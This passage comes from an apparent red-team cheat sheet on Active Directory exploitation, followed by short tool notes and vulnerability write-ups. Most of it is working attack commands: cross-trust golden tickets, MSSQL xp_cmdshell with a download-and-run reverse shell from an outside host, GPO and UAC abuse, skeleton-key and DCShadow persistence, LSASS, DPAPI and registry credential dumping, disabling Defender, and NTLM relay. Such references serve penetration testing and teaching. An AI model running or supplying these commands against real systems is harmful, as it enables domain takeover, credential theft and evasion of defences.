Use Mimikatz to generate a TGT for the target domain using the trust key:

```
Kerberos::golden /user:Administrator /service:krbtgt /domain:currentdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /target:targetdomain.com /rc4:fe8884bf222153ca57468996c9b348e9 /ticket:ticket.kirbi
```

Plaintext

Then, use Rubeus to ask a TGS for e.g. the `CIFS` service on the target DC using this TGT.

```powershell
.\Rubeus.exe asktgs /ticket:c:\ad\tools\eucorp-tgt.kirbi /service:CIFS/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt
```

PowerShell

Now we can use the CIFS service on the target forest’s DC as the DA of our source domain (again, as long as this trust was configured to exist).

#### Abusing MSSQL databases for lateral movement <a href="#abusing-mssql-databases-for-lateral-movement" id="abusing-mssql-databases-for-lateral-movement"></a>

MSSQL databases can be linked, such that if you compromise one you can execute queries (or even OS commands!) on other databases in the context of a specific user (`sa` maybe? 😙). If this is configured, it can even be used to traverse Forest boundaries! If we have SQL execution, we can use the following commands to enumerate database links.

```sql
-- Find linked servers
EXEC sp_linkedservers

-- Run SQL query on linked server
select mylogin from openquery("TARGETSERVER", 'select SYSTEM_USER as mylogin')

-- Enable 'xp_cmdshell' on remote server and execute commands, only works if RPC is enabled
EXEC ('sp_configure ''show advanced options'', 1; reconfigure') AT TARGETSERVER
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT TARGETSERVER
EXEC ('xp_cmdshell ''whoami'' ') AT TARGETSERVER
```

SQL

We can also use [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) to look for databases within the domain, and gather further information on (reachable) databases. We can also automatically look for, and execute queries or commands on, linked databases (even through multiple layers of database links).

```powershell
# Get MSSQL databases in the domain, and test connectivity
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ft

# Try to get information on all domain databases
Get-SQLInstanceDomain | Get-SQLServerInfo

# Get information on a single reachable database
Get-SQLServerInfo -Instance TARGETSERVER

# Scan for MSSQL misconfigurations to escalate to SA
Invoke-SQLAudit -Verbose -Instance TARGETSERVER

# Execute SQL query
Get-SQLQuery -Query "SELECT system_user" -Instance TARGETSERVER

# Run command (enables XP_CMDSHELL automatically if required)
Invoke-SQLOSCmd -Instance TARGETSERVER -Command "whoami" |  select -ExpandProperty CommandResults

# Automatically find all linked databases
Get-SqlServerLinkCrawl -Instance TARGETSERVER | select instance,links | ft

# Run command if XP_CMDSHELL is enabled on any of the linked databases
Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "whoami"' | select instance,links,customquery | ft

Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1'')"' | select instance,links,customquery | ft
```

PowerShell

If you have low-privileged access to a MSSQL database and no links are present, you could potentially force NTLM authentication by using the `xp_dirtree` stored procedure to access this share. If this is successful, the NetNTLM for the SQL service account can be collected and potentially cracked or relayed to compromise machines as that service account.

```sql
EXEC master..xp_dirtree "\\192.168.49.67\share"
```

SQL

Example command to relay the hash to authenticate as local admin (if the service account has these privileges) and run `calc.exe`. Omit the `-c` parameter to attempt a `secretsdump` instead.

```bash
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.67.6 -c 'calc.exe'
```

Bash

#### Abusing Group Policy Objects for lateral movement <a href="#abusing-group-policy-objects-for-lateral-movement" id="abusing-group-policy-objects-for-lateral-movement"></a>

If we identify that we have the permissions to edit and link new Group Policy Objects (GPOs) within the domain (refer to [‘AD Enumeration With PowerView’](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#ad-enumeration-with-powerview)), we can abuse these privileges to move laterally towards other machines.

As an example, we can use the legitimate [Remote System Administration Tools](https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/remote-server-administration-tools) (RSAT) for Windows to create a new GPO, link it to the target, and deploy a registry runkey to add a command that will run automatically the next time the machine boots.

```powershell
# Create a new GPO and link it to the target server
New-GPO -Name 'Totally Legit GPO' | New-GPLink -Target 'OU=TargetComputer,OU=Workstations,DC=TargetDomain,DC=com'

# Link an existing GPO to another target server
New-GPLink -Target 'OU=TargetComputer2,OU=Workstations,DC=TargetDomain,DC=com' -Name 'Totally Legit GPO'

# Deploy a registry runkey via the GPO
Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context Computer -Action Create -Key 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' -ValueName 'Updater' -Value 'cmd.exe /c calc.exe' -Type ExpandString
```

PowerShell

We can also use [SharpGPOAbuse](https://github.com/FSecureLABS/SharpGPOAbuse) to deploy an immediate scheduled task, which will run whenever the group policy is refreshed (every 1-2 hours by default). SharpGPOABuse does not create its own GPO objects, so we first have to run the commands for creating and linking GPOs listed above. After this, we can run SharpGPOAbuse to deploy the immediate task.

```powershell
SharpGPOAbuse.exe --AddComputerTask --TaskName "Microsoft LEGITIMATE Hotfix" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c start calc.exe" --GPOName "Totally Legit GPO"
```

PowerShell

### Privilege Escalation <a href="#privilege-escalation" id="privilege-escalation"></a>

For more things to look for (both Windows and Linux), refer to my [OSCP cheat sheet and command reference](https://cas.vancooten.com/posts/2020/05/oscp-cheat-sheet-and-command-reference/).

#### PowerUp <a href="#powerup" id="powerup"></a>

```powershell
# Check for vulnerable programs and configs
Invoke-AllChecks

# Exploit vulnerable service permissions (does not require touching disk)
Invoke-ServiceAbuse -Name "VulnerableSvc" -Command "net localgroup Administrators DOMAIN\user /add"

# Exploit an unquoted service path vulnerability to spawn a beacon
Write-ServiceBinary -Name 'VulnerableSvc' -Command 'c:\windows\system32\rundll32 c:\Users\Public\beacon.dll,Update' -Path 'C:\Program Files\VulnerableSvc'

# Restart the service to exploit (not always required)
net.exe stop VulnerableSvc
net.exe start VulnerableSvc
```

PowerShell

#### UAC Bypass <a href="#uac-bypass" id="uac-bypass"></a>

Using [SharpBypassUAC](https://github.com/FatRodzianko/SharpBypassUAC).

```bash
# Generate EncodedCommand
echo -n 'cmd /c start rundll32 c:\\users\\public\\beacon.dll,Update' | base64

# Use SharpBypassUAC e.g. from a CobaltStrike beacon
beacon> execute-assembly /opt/SharpBypassUAC/SharpBypassUAC.exe -b eventvwr -e Y21kIC9jIHN0YXJ0IHJ1bmRsbDMyIGM6XHVzZXJzXHB1YmxpY1xiZWFjb24uZGxsLFVwZGF0ZQ==
```

Bash

In some cases, you may get away better with running a manual UAC bypass, such as the FODHelper bypass which is quite simple to execute in PowerShell.

```powershell
# The command to execute in high integrity context
$cmd = "cmd /c start powershell.exe"
 
# Set the registry values
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $cmd -Force
 
# Trigger fodhelper to perform the bypass
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
 
# Clean registry
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
```

PowerShell

### Persistence <a href="#persistence" id="persistence"></a>

#### Startup folder <a href="#startup-folder" id="startup-folder"></a>

Just drop a binary. Classic. 😎🚩

In current user folder, will trigger when current user signs in:

```
c:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
```

Plaintext

Or in the global startup folder, requires administrative privileges but will trigger as SYSTEM on boot *and* in a user context whenever any user signs in:

```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
```

Plaintext

### Domain Persistence <a href="#domain-persistence" id="domain-persistence"></a>

Must be run with DA privileges.

#### Mimikatz skeleton key attack <a href="#mimikatz-skeleton-key-attack" id="mimikatz-skeleton-key-attack"></a>

Run from DC. Enables password “mimikatz” for all users. 🚩

```
privilege::debug
misc::skeleton
```

Plaintext

#### Grant specific user DCSync rights with PowerView <a href="#grant-specific-user-dcsync-rights-with-powerview" id="grant-specific-user-dcsync-rights-with-powerview"></a>

Gives a user of your choosing the rights to DCSync at any time. May evade detection in some setups.

```powershell
Add-ObjectACL -TargetDistinguishedName "dc=targetdomain,dc=com" -PrincipalSamAccountName BackdoorUser -Rights DCSync
```

PowerShell

#### Domain Controller DSRM admin <a href="#domain-controller-dsrm-admin" id="domain-controller-dsrm-admin"></a>

The DSRM admin is the local administrator account of the DC. Remote logon needs to be enabled first.

```powershell
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
```

PowerShell

Now we can login remotely using the local admin hash dumped on the DC before (with `lsadump::sam`, see [‘Dumping secrets with Mimikatz’](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#dumping-secrets-with-mimikatz) below). Use e.g. ‘overpass-the-hash’ to get a session (see [‘Mimikatz’](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#mimikatz) above).

#### Modifying security descriptors for remote WMI access <a href="#modifying-security-descriptors-for-remote-wmi-access" id="modifying-security-descriptors-for-remote-wmi-access"></a>

Give user WMI access to a machine, using [Set-RemoteWMI](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1) cmdlet from Nishang. Can be run to persist access to e.g. DCs.

```powershell
Set-RemoteWMI -UserName BackdoorUser -ComputerName dc.targetdomain.com -namespace 'root\cimv2'
```

PowerShell

For execution, see [‘Command execution with WMI’](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#command-execution-with-wmi) above.

#### Modifying security descriptors for PowerShell Remoting access <a href="#modifying-security-descriptors-for-powershell-remoting-access" id="modifying-security-descriptors-for-powershell-remoting-access"></a>

Give user PowerShell Remoting access to a machine, using [Set-RemotePSRemoting.ps1](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemotePSRemoting.ps1) cmdlet from Nishang. Can be run to persist access to e.g. DCs.

```powershell
Set-RemotePSRemoting -UserName BackdoorUser -ComputerName dc.targetdomain.com
```

PowerShell

For execution, see [‘Command execution with PowerShell Remoting’](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#command-executin-with-powershell-remoting) above.

#### Modifying DC registry security descriptors for remote hash retrieval using DAMP <a href="#modifying-dc-registry-security-descriptors-for-remote-hash-retrieval-using-damp" id="modifying-dc-registry-security-descriptors-for-remote-hash-retrieval-using-damp"></a>

Using [DAMP toolkit](https://github.com/HarmJ0y/DAMP), we can backdoor the DC registry to give us access on the `SAM`, `SYSTEM`, and `SECURITY` registry hives. This allows us to remotely dump DC secrets (hashes).

We add the backdoor using the `Add-RemoteRegBackdoor.ps1` cmdlet from DAMP.

```powershell
Add-RemoteRegBackdoor -ComputerName dc.targetdomain.com -Trustee BackdoorUser
```

PowerShell

Dump secrets remotely using the `RemoteHashRetrieval.ps1` cmdlet from DAMP (run as ‘BackdoorUser’ user).

```powershell
# Get machine account hash for silver ticket attack
Get-RemoteMachineAccountHash -ComputerName DC01

# Get local account hashes
Get-RemoteLocalAccountHash -ComputerName DC01

# Get cached credentials (if any)
Get-RemoteCachedCredential -ComputerName DC01
```

PowerShell

#### DCShadow <a href="#dcshadow" id="dcshadow"></a>

DCShadow is an attack that masks certain actions by temporarily imitating a Domain Controller. If you have Domain Admin or Enterprise Admin privileges in a root domain, it can be used for forest-level persistence.

Optionally, as Domain Admin, give a chosen user the privileges required for the DCShadow attack (uses `Set-DCShadowPermissions.ps1` cmdlet).

```powershell
Set-DCShadowPermissions -FakeDC BackdoorMachine -SamAccountName TargetUser -Username BackdoorUser -Verbose
```

PowerShell

Then, from any machine, use Mimikatz to stage the DCShadow attack.

```
# Set SPN for user
lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"

# Set SID History for user (effectively granting them Enterprise Admin rights)
lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519

# Set Full Control permissions on AdminSDHolder container for user
## Requires retrieval of current ACL:
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com")).psbase.ObjectSecurity.sddl

## Then get target user SID:
Get-NetUser -UserName BackdoorUser | select objectsid

## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;[[S-1-5-21-1874506631-3219952063-538504511-45109]])
```

Plaintext

Finally, from either a DA session OR a session as the user provided with the DCShadow permissions before, run the DCShadow attack. Actions staged previously will be performed without leaving any logs 😈

```
lsadump::dcshadow /push
```

Plaintext

### Post-Exploitation <a href="#post-exploitation" id="post-exploitation"></a>

#### LSASS protection <a href="#lsass-protection" id="lsass-protection"></a>

Sometimes, LSASS is configured to run as a protected process (PPL). You can query this with PowerShell as follows.

```powershell
Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL" 
```

PowerShell

If this is the case, you can’t just dump or parse LSASS, and you need to disable the protection with something like `mimidrv.sys`. I won’t discuss how to do that here, but there are tools such as [PPLDump](https://github.com/itm4n/PPLdump) available to help.

#### Dumping OS credentials with Mimikatz <a href="#dumping-os-credentials-with-mimikatz" id="dumping-os-credentials-with-mimikatz"></a>

```
# Dump logon passwords
sekurlsa::logonpasswords

# Dump all domain hashes from a DC
## Note: Everything with /patch is noisy as heck since it writes to LSASS 🚩
lsadump::lsa /patch

# Dump only local users
lsadump::sam

# DCSync (requires 'ldap' SPN)
lsadump::dcsync /user:DOMAIN\krbtgt /domain:targetdomain.com

# Dump Windows secrets, such as stored creds for scheduled tasks (elevate first) 🚩
vault::list
vault::cred /patch

# Dump Kerberos encryption keys, including the AES256 key for better opsec (see 'Lateral Movement with Rubeus' section) 
sekurlsa::ekeys
```

Plaintext

#### Abusing the Data Protection API (DPAPI) with Mimikatz <a href="#abusing-the-data-protection-api-dpapi-with-mimikatz" id="abusing-the-data-protection-api-dpapi-with-mimikatz"></a>

Mimikatz has quite some functionality to access Windows' DPAPI, which is used to encrypt many credentials, including e.g. browser passwords.

Note that Mimikatz will automatically cache the master keys that it has seen (check cache with `dpapi::cache`), but this does *NOT* work if no Mimikatz session is persisted (e.g. in Cobalt Strike or when using `Invoke-Mimikatz`). More information on using Mimikatz for DPAPI is available [here](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials).

```
# Find the IDs of protected secrets for a specific user
dir C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials

# Get information, including the used master key ID, from a specific secret (take the path from above)
dpapi::cred /in:C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3

# IF YOU ARE PRIVILEGED
# Dump all master keys from the current system
sekurlsa::dpapi

# IF YOU ARE NOT PRIVILEGED (session as target user required)
# Get the master key from the domain using RPC (the path contains the user SID, and then the ID of the masterkey identified in the previous step)
dpapi::masterkey /rpc /in:C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Protect\S-1-5-21-3865823697-1816233505-1834004910-1124\dd89dddf-946b-4a80-9fd3-7f03ebd41ff4

# Decrypt the secret using the retrieved master key
# Alternatively, leave out /masterkey and add /unprotect to decrypt the secret using the cached master key (see above for caveats)
dpapi::cred /in:C:\Users\[USERNAME]]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3 /masterkey:91721d8b1ec[...]e0f02c3e44deece5f318ad
```

Plaintext

#### Dumping secrets without Mimikatz <a href="#dumping-secrets-without-mimikatz" id="dumping-secrets-without-mimikatz"></a>

We can also parse system secrets without using Mimikatz on the target system directly.

**Dumping LSASS**

The preferred way to run Mimikatz is to do it locally with a dumped copy of LSASS memory from the target. [Dumpert](https://github.com/outflanknl/Dumpert), [Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump), or other (custom) tooling can be used to dump LSASS memory.

```powershell
# Dump LSASS memory through a process snapshot (-r), avoiding interacting with it directly
.\procdump.exe -r -ma lsass.exe lsass.dmp
```

PowerShell

After downloading the memory dump file on our attacking system, we can run Mimikatz and switch to ‘Minidump’ mode to parse the file as follows. After this, we can run Mimikatz' credential retrieval commands as usual.

```
sekurlsa::minidump lsass.dmp
```

Plaintext

**Dumping secrets from the registry**

We can dump secrets from the registry and parse the files “offline” to get a list of system secrets. 🚩

On the target, we run the following:

```powershell
reg.exe save hklm\sam c:\users\public\downloads\sam.save
reg.exe save hklm\system c:\users\public\downloads\system.save
reg.exe save hklm\security c:\users\public\downloads\security.save
```

PowerShell

Then on our attacking box we can dump the secrets with Impacket:

```bash
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL > secrets.out
```

Bash

**Dumping secrets from a Volume Shadow Copy**

We can also create a “Volume Shadow Copy” of the `SAM` and `SYSTEM` files (which are always locked on the current system), so we can still copy them over to our local system. An elevated prompt is required for this.

```powershell
wmic shadowcopy call create Volume='C:\'
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\public\sam.save
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\public\system.save
```

PowerShell

#### Windows Defender evasion <a href="#windows-defender-evasion" id="windows-defender-evasion"></a>

*Note: All below commands require administrative privileges on the system!*

You can query Defender exclusions using PowerShell. If it returns any excluded paths, just execute your malware from there!

```powershell
Get-MpPreference | select-object -ExpandProperty ExclusionPath
```

PowerShell

Alternatively, you could add an exclusion directory for your shady stuff. 👀

```powershell
Add-MpPreference -ExclusionPath "C:\Users\Public\Downloads\SuperLegitDownloadDirectory"
```

PowerShell

If you’re more aggro, you can disable Defender entirely. It goes without saying that disabling AV/EDR products is never a good idea in practice, best to work around it instead. 🚩

```powershell
# Disable realtime monitoring altogether
Set-MpPreference -DisableRealtimeMonitoring $true

# Only disables scanning for downloaded files or attachments
Set-MpPreference -DisableIOAVProtection $true
```

PowerShell

As an alternative to disabling Defender, you can leave it enabled and just remove all virus signatures from it.

```powershell
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```

PowerShell

#### Chisel proxying <a href="#chisel-proxying" id="chisel-proxying"></a>

If you need to proxy traffic over a compromised Windows machine, [Chisel](https://github.com/jpillora/chisel) (or [SharpChisel](https://github.com/shantanu561993/SharpChisel)) is a good choice. Chisel allows port forwarding, but my favorite technique is setting up a reverse SOCKS proxy on the target machine, allowing you to tunnel any traffic over the target system.

On our attacking machine (Linux in this case), we start a Chisel server on port 80 in reverse SOCKS5 mode.

```bash
sudo ./chisel server -p 80 --reverse --socks5
```

Bash

Then, on our compromised target system, we connect to this server and tell it to proxy all traffic over it via the reverse SOCKS5 tunnel.

```powershell
.\chisel.exe client 192.168.49.67:80 R:socks
```

PowerShell

A proxy is now open on port 1080 of our linux machine. We can now use e.g. ProxyChains to tunnel over the target system.

#### Juicy files <a href="#juicy-files" id="juicy-files"></a>

There are lots of files that may contain interesting information. Tools like [WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) or collections like [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) may help in identifying juicy files (for privesc or post-exploitation).

Below is a list of some files I have encountered to be of relevance. Check files based on the programs and/or services that are installed on the machine.

> In addition, don’t forget to enumerate any local databases with `sqlcmd` or `Invoke-SqlCmd`!

```
# All user folders
## Limit this command if there are too many files ;)
tree /f /a C:\Users

# Web.config
C:\inetpub\www\*\web.config

# Unattend files
C:\Windows\Panther\Unattend.xml

# RDP config files
C:\ProgramData\Configs\

# Powershell scripts/config files
C:\Program Files\Windows PowerShell\

# PuTTy config
C:\Users\[USERNAME]\AppData\LocalLow\Microsoft\Putty

# FileZilla creds
C:\Users\[USERNAME]\AppData\Roaming\FileZilla\FileZilla.xml

# Jenkins creds (also check out the Windows vault, see above)
C:\Program Files\Jenkins\credentials.xml

# WLAN profiles
C:\ProgramData\Microsoft\Wlansvc\Profiles\*.xml

# TightVNC password (convert to Hex, then decrypt with e.g.: https://github.com/frizb/PasswordDecrypts)
Get-ItemProperty -Path HKLM:\Software\TightVNC\Server -Name "Password" | select -ExpandProperty Password
```

<br>


# CrackMapExec

## Install

```
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt update
sudo apt install python3.8 python3.8-dev python3.8-venv
python3.8 -m venv python3.8-venv
source python3.8-venv/bin/activate
pip install --upgrade pip
pip3 install crackmapexec 
```

## Usage:

### Password spray without threshold:

```
// Some code
```

### Password Spray (with global limit of 5 failed attempts as threshold)

```
crackmapexec smb 172.16.13.0/24 -u 'evilcorp\bob' -p 'Password123!' --gfail-limit 5
```

{% code overflow="wrap" %}

```
crackmapexec smb 172.16.2.1 -u 'evilcorp\bob' -p 'Password123!' --pass-pol

crackmapexec smb 172.16.2.1 -u 'evilcorp\bob' -p 'Password123!' --users

crackmapexec smb 172.16.2.1 -u 'evilcorp\bob' -p 'Password123!' --shares
```

{% endcode %}

### Relay List to use with *mitm6*

```
crackmapexec smb 172.16.13.0/24 --gen-relay-list relay-hosts.txt
```


# Select all IP addresses in Sublime Text

## How to select all IP addresses in Sublime Text

### Regex to select all IP addresses in Sublime Text

{% hint style="info" %}
Taken from <https://denshub.com/sublime-text-select-ip-address/>&#x20;
{% endhint %}

* Open the file containing the IP addresses in [SublimeText](https://www.sublimetext.com/) and go to `Find - Replace...`.
* Make sure you have the RegEx selector enabled - it looks like a `.*` sign next to the search field.
* For IP addresses that look like this: `99.7.83.38` enter the following regex: `\b(\d{1,3}\.){3}\d{1,3}\b`.
* For IP addresses that look like this: `99.61.204.91/32` enter the following regex: `\b(\d{1,3}\.){3}\d{1,3}\/\d+\b`
* Then click the `Find All` button (on the right) and copy them into a single blacklist of IP addresses.
* After that you can leave only unique values. To do this, open the menu `Edit - Permute Lines - Unique`. Depending on the length of the list it may take a few seconds or minutes.
* Save the file and use it for your needs.

PS. [This answer](https://stackoverflow.com/questions/36558590/use-sublimetext-to-delete-all-log-entries-except-ips) about choosing IP addresses is also good.


# Convert CIDRs to an IP address list

{% embed url="<https://gist.github.com/smhuda/7b514f4e3f703099ebf2b5dff4e67af0>" %}


# Microsoft Exchange Client Access Server Information Disclosure

### EOL Check

{% embed url="<https://endoflife.date/msexchange>" %}

***

Connect to the open HTTPS port of your exchange server using OpenSSL and the command below.

```
openssl s_client -host hostname.domain.com -port 443 
```

<figure><img src="https://securitytutorials.co.uk/ezoimgfmt/i0.wp.com/securitytutorials.co.uk/wp-content/uploads/2019/11/openssl.png?resize=591%2C435&#x26;ssl=1&#x26;ezimgfmt=rs:591x435/rscb1/ng:webp/ngcb1" alt="Open SSL making conection to exchange server" height="435" width="591"><figcaption></figcaption></figure>

Once the connection is made, you will be prompted to input a command.

<figure><img src="https://securitytutorials.co.uk/ezoimgfmt/i0.wp.com/securitytutorials.co.uk/wp-content/uploads/2019/11/openSSL-handshake.png?resize=653%2C434&#x26;ssl=1&#x26;ezimgfmt=rs:653x434/rscb1/ng:webp/ngcb1" alt="Input GET request" height="434" width="653"><figcaption></figcaption></figure>

Paste or input the follows (this will make a GET request to autodiscover.xml using the command below.)

```
GET /autodiscover/autodiscover.xml HTTP/1.0
```

You need to hit Enter twice after you typed the GET request; before the server will respond.

<figure><img src="https://securitytutorials.co.uk/ezoimgfmt/i0.wp.com/securitytutorials.co.uk/wp-content/uploads/2019/11/openssl-realm-new.png?resize=602%2C339&#x26;ssl=1&#x26;ezimgfmt=rs:602x339/rscb1/ng:webp/ngcb1" alt="Internal IP" height="339" width="602"><figcaption></figcaption></figure>

This spits out its local IP address under the header **WWW-Authenticate: Basic realm=**.

***

## Remediation

The rule will match any WWW-Authenticate Header which includes an IP address in the WWW-Authenticate field and replace this with the domain name.

### Header Modification

```
Rule Type: Replace Header
Header Field: WWW-Authenticate
Match String: /(Basic realm=)(\"[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}\")/
Replacement: \1"domain.com"
```

![](https://support.kemptechnologies.com/hc/en-us/article_attachments/202044856/RemoveInt.PNG)

This can then be added to the Virtual Service: **Virtual Services > View/Modify Services > Advanced Properties > HTTP Header Modifications > Response Rules**.

![](https://support.kemptechnologies.com/hc/en-us/article_attachments/202199063/Header_Mod_INTAddress.PNG)

The internal address is now hidden in all responses and replaced with [www.domain.com](http://www.domain.com):

### URL Rewrite

IIS server to deny requests made without the Host header set. They achieve this by using the URL rewrite module for IIS.

{% embed url="<https://www.iis.net/downloads/microsoft/url-rewrite>" %}

URL Rewrite Download the URL Rewrite module onto your exchange server and install it.&#x20;


# Web Server HTTP Header Internal IP Disclosure

To test this vulnerability, it is basically the same procedure as the previous one; But, this time we are sending our GET request to the root of the webserver instead of autodiscover.xml.

Connect to your exchange server using OpenSSL as below.

```
openssl s_client -host host.domain.com -port 443
```

Once the above OpenSSL command asks for input, paste and execute the following in the same terminal. (GET request to the root page of the webserver.)

```
GET / HTTP/1.0
```

Notice the response kindly lets you know the Internal IP in the Location: header.

<figure><img src="https://securitytutorials.co.uk/ezoimgfmt/i0.wp.com/securitytutorials.co.uk/wp-content/uploads/2019/11/locationHeader-1.png?resize=480%2C228&#x26;ssl=1&#x26;ezimgfmt=rs:480x228/rscb1/ng:webp/ngcb1" alt="302 Redirection causing Internal IP disclosure" height="228" width="480"><figcaption></figcaption></figure>


# smbclient.py

## Usage

```
smbclient.py evil.corp/corp:'Password123!'@dc-01.evil.corp
```


# GetUserSPNs.py

## Usage

```
GetUserSPNs.py evil.corp/bob:'Password123!' -request -outputfile kerberoast.hashes
```


# Get-GPPPassword.py

## Usage

```
Get-GPPPassword.py evil.corp/bob:'Password123!'@192.168.6.77
```


# SMBMap

## Install

```
apt install build-essential -y
pip3 install smbmap
apt install python3.8-dev
apt install python3.8-dev -y
pip3 install smbmap
```

## Usage

```
smbmap -u bob -p 'Password123!' -d evil.corp -H 192.168.1.77
```


# Mounting Shares

{% code overflow="wrap" %}

```
mount -t cifs -o "domain=evil.corp,username=bob,password=Password123!" //192.168.1.77/Scripts /tmp/x
```

{% endcode %}


# mitm6

## Install

<https://github.com/dirkjanm/mitm6>

```
pip install mitm6
```


# AD Attacks

## 1 - Running Responder

```
./Responder.py -I eth0
```

## 2 - Mitm6 (run simeltaneous to Responder)

```
mitm6 -i eth0
```

## 3 - CrackMapExec

#### Install first

{% code overflow="wrap" %}

```
sudo add-apt-repository ppa:deadsnakes/ppa 
sudo apt update 
sudo apt install python3.8 python3.8-dev python3.8-venv 
python3.8 -m venv python3.8-venv 
source python3.8-venv/bin/activate 
pip install --upgrade 
pip pip3 install crackmapexec
```

{% endcode %}

#### Run with 1 and 2 to grab Hosts with SMB signing as false:

```
crackmapexec smb 10.2.55.0/20 --gen-relay-list relay-hosts.txt | grep "False"
```

## 4 - Run Mitm6

```
mitm6 -d evil.corp
```

## 5 - Run Ntlmrelayx with Mitm6

#### Run with 5 together for relays:

```
ntlmrelayx.py -6 -socks -smb2support -tf relay-hosts.txt
```


# Weak IKE Security Configurations

### Description

The remote VPN servers are configured with weak security settings such as the use of IKE version 1, the use of aggressive mode with a Pre-Shared Key (PSK), and the implementation of SHA1 as the hashing algorithm and 3DES as their encryption algorithm.

These security settings are considered weak. The aggressive mode of IKE does not use a key distribution algorithm like Diffie-Hellman to protect the authentication data exchange. Aggressive Mode only uses a three-way handshake versus a six-way handshake for Main Mode. In doing so, the VPN device or 'responder' sends the hashed PSK to the "initiator" unencrypted. This makes it possible for the attacker to capture the authentication data. A server that works with aggressive mode will send the authentication hash in clear text, which can be captured and cracked offline. It should be noted that a correct group ID must be specified for it to be possible to correctly crack the hash. In this case, Illumant was not able to guess the correct group IP for the VPN to be able to retrieve a legitimate hash.

Moreover, The SHA1 hashing algorithm is vulnerable to a collision attack and is considered weak. This weakness may allow an attacker to impersonate a valid service or perform a man-in-the-middle attack. IKE supports SHA2-256, SHA2-384, and SHA2-512 in many implementations, which are not vulnerable to collision attacks. Furthermore, as large-scale computing becomes faster and more accessible, weak cipher suites become increasingly vulnerable to decryption by attackers in a privileged network position. An attacker that can capture traffic could later perform a brute-force attack to recover the encryption key and decrypt the traffic. IKE supports AES-192, and AES-256 in many implementations, which are considerably more secure.

The following output from the iker tool (a port of the ike-scan tool) shows the weak security configurations on one of the sample affected VPN concentrators:

**\<ike-scan> and \<iker> output**

As shown above, even though a hash is always returned, a valid, crackable hash will only be returned when the request is made with a valid group name. Even when the VPN PSK is known, often a second factor of authentication is required (such as domain authentication) to gain VPN access. These factors reduce the likelihood that this vulnerability could be successfully exploited.

### References:

* <https://www.cisco.com/en/US/tech/tk583/tk372/technologies\\_security\\_notice09186a008016b57f.html>
* <https://www.ernw.de/download/pskattack.pdf>
* <https://web.archive.org/web/20131031201444/http://www.vpnc.org/ietf-ipsec/99.ipsec/msg01451.html>
* <https://www.securityfocus.com/bid/7423>

### Recommendations:

It is advised to disable aggressive mode on the device if it is not required to be in use. In addition, utilize access control lists to only allow authorized VPN peers to connect to the affected servers. If possible, do not utilize pre-shared keys for authentication. If pre-shared keys must be used, utilize strong pre-shared keys that are greater than 14 characters in length and include lowercase letters, uppercase letters, numbers, and special characters. Moreover, it is recommended to set the ISAKMP/IKE setting as per the recommended CNSSP guidelines as follows:

